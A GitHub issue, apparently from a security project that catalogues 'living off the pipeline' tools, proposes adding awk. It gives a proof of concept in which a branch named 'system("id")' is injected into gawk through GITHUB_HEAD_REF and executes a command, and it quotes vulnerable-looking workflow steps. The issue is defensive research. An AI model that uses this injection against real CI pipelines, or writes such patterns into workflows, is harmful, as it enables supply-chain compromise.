boostsecurityio/lotp

[LOTP] Add awk

Opened this issue · 0 comments

Description of the LOTP tool

awk is a data-driven scripting language tool with many powerful features.

Ref GTFObin https://gtfobins.github.io/gtfobins/gawk/#shell

Configuration files

it might process some config file too..

POC

$ git switch -c 'system("id")' && export GITHUB_HEAD_REF="$(git branch --show-current)" && gawk "BEGIN {$GITHUB_HEAD_REF}"      a/a/g;1eid;
Switched to a new branch 'system("id")'
uid=501(john) gid=20(staff) ...

Documentation

https://www.gnu.org/software/gawk/manual/gawk.html#index-system_0028_0029-function

Real-world example

close enough ... can think of thing "realistic"

    - name: Generate env vars with git tags
      run: |
        [ "${GITHUB_EVENT_NAME}" == 'pull_request' ] && echo "TAG_NAME=$(echo $GITHUB_REF | awk -F / '{print $3}')-${GITHUB_HEAD_REF##*/}" >> $GITHUB_ENV || true

      - name: Append contrib to changelog
        run: |
          CHANGELOG_LINE=$(awk -v ver="[${{ env.VERSION_NUMBER }}]($GITHUB_SERVER_URL/$GITHUB_REPOSITORY/releases/tag/v${{ env.VERSION_NUMBER }})" '/^## / { if (p) { exit }; if ($2 == ver) { p=1; next} } p && NF' CHANGELOG.md | sed ':a;N;$!ba;s/\n---/ /g')
          echo "$CHANGELOG_LINE" >> CHANGELOG.txt
...
      - name: Generate benchmark comparison
        run: |
          ./integration-tests/scripts/baseline/main.py --test integration-tests/perf-all.json \
            | sort \
            | awk -f ./integration-tests/scripts/baseline/format.awk > benchmark.md